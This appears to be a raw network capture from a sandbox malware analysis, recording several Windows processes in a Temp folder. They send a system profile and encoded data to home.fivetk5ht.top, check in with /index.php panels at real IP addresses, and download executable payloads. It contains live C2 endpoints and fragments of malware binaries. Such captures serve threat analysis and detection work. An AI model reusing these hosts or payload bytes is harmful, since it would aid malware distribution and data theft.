Dec 21, 2024 18:16:57.951060057 CET	1236	IN	Data Raw: 24 0f b6 0c 01 3a 0c 16 74 d7 8b 44 24 58 03 5c 24 4c 89 44 24 20 e9 02 ff ff ff 66 0f 1f 44 00 00 c7 44 24 20 00 00 00 00 e9 fb 00 00 00 0f 1f 00 8b 74 24 34 39 f8 72 1a e9 b1 01 00 00 0f 1f 00 03 5c 24 30 8b 44 24 44 01 d8 39 f8 0f 83 9c 01 00 Data Ascii: $:tD$X\$LD$ fDD$ t$49r\$0D$D91 EE#D$,#T$PtT$(9T$dt:4;t$-t$$Ht$4:Rt\|$f.fD$;D$HL$\T$(
Dec 21, 2024 18:16:57.951075077 CET	224	IN	Data Raw: 28 8b 7c 24 04 b9 1c f1 4b 00 39 df 0f 47 df 89 d8 eb 12 b9 0c f1 4b 00 89 d0 eb 09 8b 7c 24 04 b9 0c f1 4b 00 51 57 50 e8 10 71 09 00 83 c4 0c eb 18 68 8c f1 4b 00 8b 44 24 08 50 52 50 ff 74 24 44 e8 06 e3 09 00 83 c4 14 0f 0b eb 04 eb 02 eb 00 Data Ascii: (\|$K9GK\|$KQWPqhKD$PRPt$DD$tjPt$Vf.fUEupp]UPMEUMhtKRhdKQjhKPD ]f.DU
Dec 21, 2024 18:16:57.951092005 CET	1236	IN	Data Raw: 53 57 56 83 ec 24 e8 a2 2a 00 00 8d 45 d0 6a 0c 68 b6 f1 4b 00 6a 1a 68 9c f1 4b 00 50 e8 db ad 00 00 83 c4 14 8b 7d d8 8b 75 d0 8b 5d d4 83 ff 07 77 17 85 ff 74 56 31 d2 0f 1f 40 00 80 3c 13 00 74 17 42 39 d7 75 f5 eb 43 57 53 6a 00 e8 8a be 09 Data Ascii: SWV$*EjhKjhKP}u]wtV1@<tB9uCWSjt3tDu]}UEhKhLKPjj(s}u]}EPSjj$=]h5Rjh3
Dec 21, 2024 18:16:57.951111078 CET	1236	IN	Data Raw: f2 0f 10 45 e0 f2 0f 10 8d 24 fe ff ff f2 0f 10 55 b0 89 85 48 ff ff ff 8b 85 2c fe ff ff f2 0f 11 85 40 ff ff ff f2 0f 11 8d 4c ff ff ff f2 0f 10 8d 40 fe ff ff 89 85 54 ff ff ff 8b 45 b8 f2 0f 11 95 58 ff ff ff 89 85 60 ff ff ff 8b 85 48 fe ff Data Ascii: E$UH,@L@TEX`Hdhlpxjjj@P@P]H@@tjPDLtjPP{XtjP\
Dec 21, 2024 18:16:57.951128006 CET	448	IN	Data Raw: f6 89 87 48 01 00 00 89 8f 4c 01 00 00 8b 4d ec 89 da e8 8e 4f 00 00 eb a8 66 2e 0f 1f 84 00 00 00 00 00 66 90 c1 e8 1c 3b 45 dc 72 17 e9 31 0c 00 00 0f 1f 00 c1 e8 1d 83 c8 08 3b 45 dc 0f 83 18 0c 00 00 8b 8d 2c ff ff ff 8b 1c 81 83 fb 7f 77 33 Data Ascii: HLMOf.f;Er1;E,w3H;@a@P5gMf.@s?@Aos-@?$?AB:
Dec 21, 2024 18:16:57.951190948 CET	1236	IN	Data Raw: 83 c4 0c ff 0f 75 15 ff 4f 04 75 10 6a 08 68 58 01 00 00 57 e8 ac cb 00 00 83 c4 0c 8d b5 00 fe ff ff 6a 0c 68 f0 8f 50 00 6a 30 68 c0 8f 50 00 56 e8 5f a2 00 00 83 c4 14 8d 85 fc fe ff ff 89 b5 40 fe ff ff c7 85 44 fe ff ff 60 21 40 00 c7 85 40 Data Ascii: uOujhXWjhPj0hPV_@D`!@@PDPH@L`!@HL@QPEEjhPjyhPPjh!Phh
Dec 21, 2024 18:16:58.070869923 CET	1236	IN	Data Raw: b0 89 55 dc 89 f9 ff 75 ac ff 75 ec ff b5 e0 fe ff ff e8 aa e7 ff ff 83 c4 0c 8d 85 e4 fe ff ff 89 b5 40 ff ff ff c7 85 44 ff ff ff 60 21 40 00 c7 85 40 fe ff ff 48 92 50 00 c7 85 44 fe ff ff 05 00 00 00 c7 85 50 fe ff ff 00 00 00 00 89 85 48 ff Data Ascii: Uuu@D`!@@HPDPHL`!@PT`!@X\`!@`@d`!@HL@QPEtjPu4tjP8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49901	185.121.15.192	80	5660	C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:16:59.480078936 CET	12360	OUT	POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1 Host: home.fivetk5ht.top Accept: / Content-Type: application/json Content-Length: 441903 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 38 30 31 34 31 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734801416", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 21, 2024 18:16:59.600121975 CET	9888	OUT	Data Raw: 47 35 78 54 78 4f 4f 6f 56 4a 30 71 6d 58 35 5a 46 34 5c 2f 46 30 36 39 4a 75 4e 54 44 31 5c 2f 59 58 77 32 44 72 77 73 2b 65 6e 6a 73 52 68 70 52 74 5a 2b 39 4b 4b 66 36 62 77 7a 34 50 2b 49 48 46 56 50 44 34 72 41 35 44 57 77 65 58 59 6d 6e 54 Data Ascii: G5xTxOOoVJ0qmX5ZF4\/F069JuNTD1\/YXw2Drws+enjsRhpRtZ+9KKf6bwz4P+IHFVPD4rA5DWweXYmnTr0c0ziUcrwVXDVoxlSxWGWJti8fhqqlF062XYXGQmryTcYTcfksf8tPx\/rUdforY\/Br4QeJtFUXPgiXw\/M8jMNR8JeKfEsGoIwI2xlfFuoeM9LktuD5kf9lx3LgkJewna6+X+I\/2R78+ZN4A8caNrnEjR6J4t
Dec 21, 2024 18:16:59.600265026 CET	4944	OUT	Data Raw: 30 5c 2f 77 44 72 31 48 51 62 46 65 6d 50 30 5c 2f 48 2b 68 70 37 4c 32 49 5c 2f 7a 36 69 6f 35 4f 33 34 5c 2f 30 6f 4f 67 6a 71 50 79 5c 2f 66 38 41 54 5c 2f 36 39 53 55 55 47 73 4e 76 6e 2b 69 4b 72 4c 75 5c 2f 43 6f 66 38 41 30 44 5c 2f 50 34 Data Ascii: 0\/wDr1HQbFemP0\/H+hp7L2I\/z6io5O34\/0oOgjqPy\/f8AT\/69SUUGsNvn+iKrLu\/Cof8A0D\/P4dP84q55fv8Ap\/8AXqs0ft8n8gP88Yz70HT7\/wDd\/EhkXH3\/APlp69sf5\/LPpUQ3\/wAefbP+cenSrEv8X4f0qPy\/f9P\/AK9BtT6\/L9SOoG77P8\/59+\/tVll2+4qGTt+P9KDsKHz\/AD8ff69Og\/z7c
Dec 21, 2024 18:16:59.600307941 CET	4944	OUT	Data Raw: 4f 4b 38 4e 63 34 79 5c 2f 43 35 33 6b 32 62 35 4e 78 54 6c 2b 4a 6e 6d 55 38 4c 53 7a 48 42 78 34 53 7a 44 4c 35 30 38 75 78 75 47 70 59 6d 6a 4b 76 69 61 47 63 63 31 43 72 55 6c 53 77 7a 6f 53 71 53 57 4a 67 6e 42 79 39 66 76 50 69 76 34 66 38 Data Ascii: OK8Nc4y\/C53k2b5NxTl+JnmU8LSzHBx4SzDL508uxuGpYmjKviaGcc1CrUlSwzoSqSWJgnBy9fvPiv4f8M\/sI6Z8V7aK617R7v4R+ANR8NafY2Nzc3\/iq\/8AGOneF9P8FaDp+nrEbmTUPFmta5oui2NvJGmLvU4VuWhjEkiZXxp8G3nw+\/4J1fEPwVqc32nVvCv7M1p4a1a4EvnrPqXhv4aaL4eu5o5QB5iSyaXvD\/8AL
Dec 21, 2024 18:16:59.600399017 CET	4944	OUT	Data Raw: 64 4a 50 33 6e 5c 2f 50 76 5c 2f 77 41 2b 34 37 5c 2f 5c 2f 41 4b 75 31 61 65 30 38 76 78 5c 2f 34 41 44 5a 4d 65 58 76 33 79 4f 5c 2f 6d 5c 2f 77 43 72 6b 6c 5c 2f 63 64 4f 66 5c 2f 41 4b 34 39 66 31 51 2b 58 35 6e 39 5c 2f 77 44 37 5a 66 36 6e Data Ascii: dJP3n\/Pv\/wA+47\/\/AKu1ae08vx\/4ADZMeXv3yO\/m\/wCrkl\/cdOf\/AK49f1Q+X5n9\/wD7Zf6nj\/P5mnr\/ALknv5n7j\/PB9uaPlkaZ3Te\/m\/uv89v88CszoGeW6+d\/fj\/6Zfr\/AFokaZZEh\/g\/5+P64FCR7t+xy\/8A219v1zmm7fmR0hwP9VL5n+fyrT2nl+P\/AAAIY\/3knl7I5kj+0S+af3Hnd\/8
Dec 21, 2024 18:16:59.720331907 CET	12360	OUT	Data Raw: 2f 77 44 43 57 2b 4e 66 5c 2f 77 41 39 4f 76 7a 37 38 50 38 41 67 6e 58 76 46 76 77 2b 38 47 5c 2f 45 37 51 72 5c 2f 41 4d 45 51 65 45 76 48 33 37 55 76 77 6a 5c 2f 5a 43 38 4c 33 47 76 38 41 69 65 2b 30 32 2b 31 50 34 72 66 47 4f 57 33 68 38 50 Data Ascii: /wDCW+Nf\/wA9Ovz78P8AgnXvFvw+8G\/E7Qr\/AMEQeEvH37Uvwj\/ZC8L3Gv8Aie+02+1P4rfGOW3h8P3MFhpXhzxA58IaPLe2MXiLWy4uYpro2ui6Xrl5aahbWebpel+HvEvin4f6J4K+NHwM8ceF\/H2v\/tC+Ej8VfD2pfGu1+H\/gzxb+y98L0+Mfxg8NeM7TxX8BfDHxMh1HRPh9PZ67p03hj4ceKdL16O9ig0fUby5t
Dec 21, 2024 18:16:59.720441103 CET	2472	OUT	Data Raw: 2f 34 41 32 6f 32 58 75 50 78 5c 2f 78 71 53 69 72 4e 43 76 52 55 6e 6c 2b 5c 2f 36 66 38 41 31 36 50 4c 39 5c 2f 30 5c 2f 2b 76 51 42 48 56 65 72 6e 6c 2b 5c 2f 36 66 38 41 31 36 6a 6f 4e 50 61 65 58 34 5c 2f 38 41 72 30 31 6c 33 63 39 36 6e 66 Data Ascii: /4A2o2XuPx\/xqSirNCvRUnl+\/6f8A16PL9\/0\/+vQBHVernl+\/6f8A16joNPaeX4\/8Ar01l3c96nfp+P8AQ1F\/v\/j\/AE6\/hQaEOxvT+X+NQ9N\/4dPfOP51cqtIv8P88jtz\/Og6CCipJI\/l+\/k\/n\/8Aq\/r9M0xvlzmg0p9fl+oxl3Y7YqFvlznt6VYprLux2xQaENFOKlec9\/xptB0DGXPI61W8v3\/T\/w
Dec 21, 2024 18:16:59.765822887 CET	27192	OUT	Data Raw: 79 4a 5c 2f 72 59 5c 2f 38 41 50 53 74 4b 6e 54 35 5c 2f 6f 61 55 2b 76 79 5c 2f 55 4a 53 5c 2f 79 5a 54 5c 2f 70 6c 4a 35 6e 2b 66 38 41 36 39 56 70 49 6b 57 52 45 52 66 6e 48 2b 71 2b 6e 2b 66 70 31 71 79 32 46 2b 2b 2b 78 4a 50 33 73 58 6c 5c Data Ascii: yJ\/rY\/8APStKnT5\/oaU+vy\/UJS\/yZT\/plJ5n+f8A69VpIkWRERfnH+q+n+fp1qy2F+++xJP3sXl\/6\/2wfQ\/5x3haN\/vum9Lf\/n36faP\/ANePyrM0K3+t3vv\/ANZ\/zz6e35+o5wKmj3\/PseT95F5vP7\/9P\/1+nSh\/OP3E\/wCWXm4\/1P8AnPT+dHmPtfYnkv8A9M5en+H17\/Wtvf8A7v4mlPr8itHv3P
Dec 21, 2024 18:16:59.884864092 CET	7416	OUT	Data Raw: 6d 79 5a 5c 2f 4c 66 7a 44 5c 2f 7a 79 5c 2f 77 43 6e 58 48 2b 63 48 6a 76 30 70 5a 76 34 30 54 35 48 38 72 38 75 66 5c 2f 72 59 7a 36 30 48 51 52 37 58 5a 74 6d 7a 63 38 66 5c 2f 41 47 37 2b 6e 2b 66 38 65 6c 4d 4b 7a 65 58 38 6a 6c 31 6c 34 5c Data Ascii: myZ\/LfzD\/zy\/wCnXH+cHjv0pZv40T5H8r8uf\/rYz60HQR7XZtmzc8f\/AG7+n+f8elMKzeX8jl1l4\/1X+f50L87O78n3\/wCfj\/P1zQu\/72z5\/N\/1fm\/67p\/np71p7Pz\/AA\/4ICtv8v8AefP\/AMsvL\/8Ar5NQSOm7yeXf\/np5v\/1vz71ZZ5vkdIf9Jk\/e\/wCt\/wCXf\/l07+314655qFmRu+7zJvfr6
Dec 21, 2024 18:17:00.049357891 CET	1236	OUT	Data Raw: 2f 42 30 49 66 2b 57 66 2b 66 37 31 52 31 49 59 5c 2f 54 38 51 66 38 5c 2f 70 69 6d 65 57 5c 2f 48 38 48 2b 66 38 41 50 61 67 36 69 73 5c 2f 2b 78 5c 2f 6e 36 5a 5c 2f 72 37 2b 31 51 75 6d 46 33 5c 2f 41 4c 7a 6e 48 2b 66 38 6e 38 4b 75 35 4f 65 Data Ascii: /B0If+Wf+f71R1IY\/T8Qf8\/pimeW\/H8H+f8APag6is\/+x\/n6Z\/r7+1QumF3\/ALznH+f8n8Ku5OeH2f5\/OqrR\/wDA3\/56ex7\/AOf51zgQfP8A7P601lRvk\/j\/AM9ff3\/\/AFVM37z7g2CP\/P8AOocfN0\/6Zdef8KDsp31+X\/AKzKgk2cfvP+WnH+cVWwfLT5N\/8v8AP+cVf+7975E\/56f4H\/P0qGSP5U
Dec 21, 2024 18:17:00.253468990 CET	1236	OUT	Data Raw: 50 6c 33 6b 5c 2f 63 64 61 43 69 73 4e 2b 58 51 52 78 37 5c 2f 41 50 56 66 36 52 46 5c 2f 6e 5c 2f 50 54 46 52 59 38 7a 37 69 62 48 5c 2f 36 35 66 31 5c 2f 7a 32 70 7a 62 30 48 33 49 33 5c 2f 34 39 34 76 4d 4d 76 2b 70 35 5c 2f 77 41 5c 2f 70 55 Data Ascii: Pl3k\/cdaCisN+XQRx7\/APVf6RF\/n\/PTFRY8z7ibH\/65f1\/z2pzb0H3I3\/494vMMv+p5\/wA\/pU0nzsg3\/PJ\/q\/L\/AOWw\/L6fr0oOgprGfLT57h\/LiMp\/5Yf\/AFzUO35M7Pk6fj\/19\/pj\/wDXVmfnekyb\/wDnlHxP\/pPqahl+ben9\/wD78dv88VpT6\/L9TWG3z\/REK\/Ls3\/f\/AOecfP8ASiWM
Dec 21, 2024 18:17:06.076649904 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 21 Dec 2024 17:17:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 75 4b 73 71 64 56 43 4f 79 46 39 44 5a 56 43 64 31 37 33 34 38 30 31 34 32 34 Data Ascii: uKsqdVCOyF9DZVCd1734801424

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49910	185.215.113.43	80	7900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:17:03.731431007 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019527001&unit=246122658369
Dec 21, 2024 18:17:05.085069895 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49917	212.193.31.8	80	2056	C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:17:05.474056005 CET	160	OUT	POST /3ofn3jf3e2ljk2/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 212.193.31.8 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49922	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:17:06.414791107 CET	59	OUT	GET /files/karl/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 18:17:07.754040956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 17:17:07 GMT Content-Type: application/octet-stream Content-Length: 22016 Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT Connection: keep-alive ETag: "67642cca-5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}\| (+\| (0P~,Brp(rp((rp(((o(08s2(}(})}'\|((+\|((0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 21, 2024 18:17:07.754120111 CET	1236	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
Dec 21, 2024 18:17:07.754158974 CET	448	IN	Data Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06 Data Ascii: +s&o@(2-o3+IR0s(sM%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s%(+(+)sO(+
Dec 21, 2024 18:17:07.754177094 CET	1236	IN	Data Raw: 2b 00 00 06 73 5c 00 00 0a 28 0e 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 0c 2b 00 08 2a 13 30 02 00 18 00 00 00 14 00 00 11 00 28 5d 00 00 0a 0a 12 00 72 ae 02 00 70 28 5e 00 00 0a 0b 2b 00 07 2a 1b 30 07 00 d3 00 00 00 15 00 00 11 00 00 73 5f 00 Data Ascii: +s\(+(+s&+0(]rp(^+0s_%s`%rpoa%rprp(boc%od%oe%of%ogohoi&ojokolokom(>,rp((+rlp
Dec 21, 2024 18:17:07.754190922 CET	1236	IN	Data Raw: 00 02 14 7d 19 00 00 04 de 19 06 16 2f 14 02 7b 18 00 00 04 2c 0c 02 7b 18 00 00 04 6f 33 00 00 0a 00 dc 02 14 7d 18 00 00 04 00 de 29 13 04 02 11 04 7d 1c 00 00 04 00 72 80 04 00 70 02 7b 1c 00 00 04 6f 59 00 00 0a 28 1a 00 00 0a 28 19 00 00 0a Data Ascii: }/{,{o3})}rp{oY((}\|(\|}\|(}AdW&[)"(n
Dec 21, 2024 18:17:07.754283905 CET	1236	IN	Data Raw: 2b 00 dd 99 04 00 00 02 7b 44 00 00 04 0b 02 7c 44 00 00 04 fe 15 21 00 00 01 02 15 25 0a 7d 27 00 00 04 12 01 28 70 00 00 0a 00 72 4b 09 00 70 7e 05 00 00 04 28 1a 00 00 0a 28 19 00 00 0a 00 72 7f 09 00 70 7e 06 00 00 04 28 1a 00 00 0a 28 19 00 Data Ascii: +{D\|D!%}'(prKp~((rp~(({)(}2rp({2o}<+J\|<(}=rp\|=(\|=(H((\|=\|<(-/\|<o3
Dec 21, 2024 18:17:07.754312038 CET	672	IN	Data Raw: 00 02 00 00 00 8e 04 00 00 37 00 00 00 c5 04 00 00 17 00 00 00 00 00 00 00 02 00 00 00 16 05 00 00 37 00 00 00 4d 05 00 00 17 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 76 05 00 00 7d 05 00 00 65 00 00 00 1e 00 00 01 06 2a 00 00 42 53 4a 42 01 Data Ascii: 77Mv}e*BSJBv4.0.30319l#~#Strings#US,+#GUID<+D#BlobW3ID4%
Dec 21, 2024 18:17:07.754328966 CET	1236	IN	Data Raw: 0e 06 00 b9 06 98 05 06 00 86 0e 98 05 06 00 cf 07 98 05 06 00 31 0b 98 05 06 00 bb 0a 98 05 06 00 4c 10 98 05 06 00 b2 0c 98 05 06 00 cb 0a 51 0a 06 00 22 03 52 0b c3 00 1d 0d 00 00 00 00 00 00 7a 05 00 00 00 00 01 00 01 00 00 00 10 00 38 0b 03 Data Ascii: 1LQ"Rz8A!ACA&A(DA*AA,.A/A'2113333Q6`
Dec 21, 2024 18:17:07.754437923 CET	1236	IN	Data Raw: 00 23 00 22 2e 00 00 00 00 86 18 af 0d 06 00 24 00 2c 2e 00 00 00 00 e1 01 a6 0f 06 00 24 00 4c 30 00 00 00 00 e1 01 ad 07 26 00 24 00 4e 30 00 00 00 00 86 18 af 0d 06 00 25 00 58 30 00 00 00 00 e1 01 a6 0f 06 00 25 00 24 37 00 00 00 00 e1 01 ad Data Ascii: #".$,.$L0&$N0%X0%$7&%%I))%rrg
Dec 21, 2024 18:17:07.754452944 CET	1236	IN	Data Raw: 00 ec 05 2e 00 3b 00 ec 05 2e 00 43 00 dd 05 2e 00 4b 00 f2 05 2e 00 53 00 ec 05 2e 00 5b 00 ec 05 2e 00 63 00 0a 06 2e 00 6b 00 34 06 2e 00 73 00 41 06 40 00 7b 00 8f 06 40 00 83 00 b3 06 63 00 93 00 b3 06 80 00 7b 00 b8 06 80 00 83 00 b3 06 83 Data Ascii: .;.C.K.S.[.c.k4.sA@{@c{#d%{` %-J_i1b36F]go{$Z'\)`'b)
Dec 21, 2024 18:17:07.874233961 CET	1236	IN	Data Raw: 60 31 00 5f 68 65 72 75 6e 74 65 72 67 65 6c 61 64 65 6e 65 72 44 61 74 65 69 50 66 61 64 31 00 49 74 65 6d 31 00 3c 74 65 78 74 4b 65 62 61 62 43 61 73 65 3e 35 5f 5f 31 32 00 3c 77 6f 72 74 3e 35 5f 5f 32 32 00 49 6e 74 33 32 00 4e 65 77 54 65 Data Ascii: `1_heruntergeladenerDateiPfad1Item1<textKebabCase>5__12<wort>5__22Int32NewTextV2<ordnerName>5__2<zeichenAnzahl>5__2<antwort>5__2<>u__2Func`2ValueTuple`2KeyValuePair`2Dictionary`2_heruntergeladenerDateiPfad2Item2<wrterMitGro

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49924	185.121.15.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 18:17:06.535773039 CET	123	OUT	GET /zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424 HTTP/1.1 Host: home.fivetk5ht.top Accept: /
Dec 21, 2024 18:17:08.151308060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 21 Dec 2024 17:17:07 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="2QEtacHyJXtAjIXfSS;" Last-Modified: Thu, 19 Dec 2024 03:44:11 GMT Cache-Control: no-cache ETag: "1734579851.9291923-10816560-2974095529" Data Raw: 43 6e b9 73 e8 06 85 00 03 9d f1 44 4f d4 2a 88 21 04 ac 53 e5 65 e5 f8 bf 81 f9 ed af 8a 19 34 29 2d 35 35 ca 51 a3 c6 fa 72 39 4f 87 29 e9 fc a1 e6 79 df 5d d5 8b 59 90 72 e5 93 74 eb 85 53 0c b4 6c d7 35 26 ab a6 90 a1 b5 eb b7 a9 23 82 8c 84 f4 2e 0b fa 65 06 8d 2c 5c a7 1c 0a 83 50 8c 81 98 49 8b 04 a8 21 03 99 5b 44 18 fd 80 55 2d 82 9d b6 fb 4b 63 52 18 b4 71 54 20 7c 94 c1 86 d9 34 33 36 df de 89 63 c9 3b 71 a7 da 02 0d 89 96 a9 5e 28 8f 6d 1e 31 4c e9 81 7e 48 1b 9a a2 24 0d 94 5b 49 09 5d f2 82 57 a7 e0 4c a1 54 ad 91 7f 16 85 ea 25 3a a7 9c cc 77 9c 59 2a 15 02 86 d0 49 18 ae 03 35 a0 fe b1 9d 8b a8 a9 50 c4 c7 36 19 a6 08 7b 5b c7 5a 05 b3 52 19 8e e9 76 61 c0 13 98 7a e4 12 b4 3e ed 2a 27 a6 ef a2 4a 7a be 30 0a 4a 3f 4b ef 76 8d 82 73 ac b5 71 5c b9 b2 6a 7d 15 a8 94 51 11 6d c2 8a ec a1 fb d0 35 3e 2c 4c 2d 2c 78 78 7a 54 c2 05 1c 5d 58 69 0f 5f ff 4a 6a 4f 17 c5 e1 bb 5c 45 3a 15 28 ac 5e 0d 95 d9 a0 8c ad 2d 74 9a 69 c1 ac 6e ea d3 6b f3 b7 70 0e 40 ed e0 34 15 4a 31 89 25 eb d8 df [TRUNCATED] Data Ascii: CnsDO!Se4)-55Qr9O)y]YrtSl5&#.e,\PI![DU-KcRqT \|436c;q^(m1L~H$[I]WLT%:wYI5P6{[ZRvaz>'Jz0J?Kvsq\j}Qm5>,L-,xxzT]Xi_JjO\E:(^-tinkp@4J1%Ef!wrvX{mB_b2N5U3\CeBWr\|s$9.Y,M@qbwPx.T N~L9iRYS,bzfr+6tisA?G1:8lrhS\|!8M`<.MpxvG1N9tR!rbV],c)a,rk?AD:2V&P/\@2Rfg?]Booydm_Kl&5KOC%Z6K.D0y6YYj2>E{sS'>u/`s$@s$Wq8I?QKhxTpgwaCWMAsE&W?oOn.d\vsdudNl E=d"5S=aDp!@wuMu$RCApM(UuEAA (y;
